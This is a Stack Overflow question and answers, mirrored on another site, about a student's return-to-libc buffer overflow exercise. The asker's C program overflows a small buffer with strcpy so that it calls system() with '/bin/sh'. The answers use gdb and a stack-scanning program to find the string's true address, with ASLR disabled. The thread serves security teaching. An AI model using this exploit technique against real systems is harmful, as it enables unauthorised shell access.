return to lib_c buffer overflow exercise issue

问题

I'm supposed to come up with a program that exploits the "return to libc buffer overflow". This is, when executed, it cleanly exits and brings up a SHELL prompt. The program is executed in a bash terminal. Below is my C code:

#include <stdio.h>
int main(int argc, char*argv[]){
    char buffer[7];

    char buf[42];
    int i = 0;
    while(i < 28)
    {
            buf[i] = 'a';
            i = i + 1;
    }

    *(int *)&buf[28] = 0x4c4ab0;
    *(int *)&buf[32] = 0x4ba520;
    *(int *)&buf[36] = 0xbfffff13;

    strcpy(buffer, buf);

    return 0;
}

Using gdb, I've been able to determine the following:

Address for "system": 0x4c4ab0
Address for "exit": 0x4ba520
The string "/bin/sh" resides in memory at: 0xbfffff13

I also know, using gdb, that inserting 32 "A"'s into my buffer variable will overwrite the return address. So given that the system call is 4 bytes, I start by filling in my memory "leak" at 28 bytes. At the 28th byte, I begin my system call, then exit call, and finally add my "/bin/sh" memory location.

When I run the program, however, I get the following:

sh: B���: command not found
Segmentation fault (core dumped)

I'm really not sure what I'm doing wrong...

[EDIT]: I was able to get the string "/bin/sh" by exporting a environmental variable:

export MYSHELL="/bin/sh"

回答1:

You can search in libc for a fixed address of a /bin/sh string. Run you program in gdb then:

> (gdb) break main
> 
> (gdb) run   
>
> (gdb) print &system  
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
> 
> (gdb) find &system,+9999999,"/bin/sh"  
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search. 
> 1 pattern found.

Good luck.

回答2:

The problem in your program is the pointer you suppose to point to the /bin/sh string is actually not pointing to /bin/sh.

You get this address using gdb. But even without stack randomization, the stack address of your shell variable is different when the program is run under gdb than without gdb. gdb is putting some debug information into the stack and this will shift your shell variables.

To convince yourself here is a quick and dirty program to find a /bin/sh string in the stack:

#include <stdio.h>
#include <string.h>

int main(void)
{
    char s[] = "/bin/sh";
    char *p = (char *) 0xbffff000;

    while (memcmp(++p, s, sizeof s));

    printf("%s\n", p);
    printf("%p\n", p);
}

First double check that stack randomization is disabled:

ouah@maou:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0
ouah@maou:~$

Ok, no stack randomization.

Let's compile the program and run it outside gdb:

ouah@maou:~$ gcc -std=c99 tst.c
ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$

Now let's run it under gdb:

ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$ gdb a.out -q
Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/ouah/a.out
/bin/sh
0xbffff6e4

Program exited normally.
(gdb) quit
ouah@maou:~$

As you can see the address of the /bin/sh string is different when the program is run inside or outside gdb.

Now what you can do is to use a variant of this program to find the true address of your string or a more elegant approach, get the address of a /bin/sh string directly from the libc (as you can guess there are a few occurrences).

来源：https://stackoverflow.com/questions/19124095/return-to-lib-c-buffer-overflow-exercise-issue

标签

bash

buffer-overflow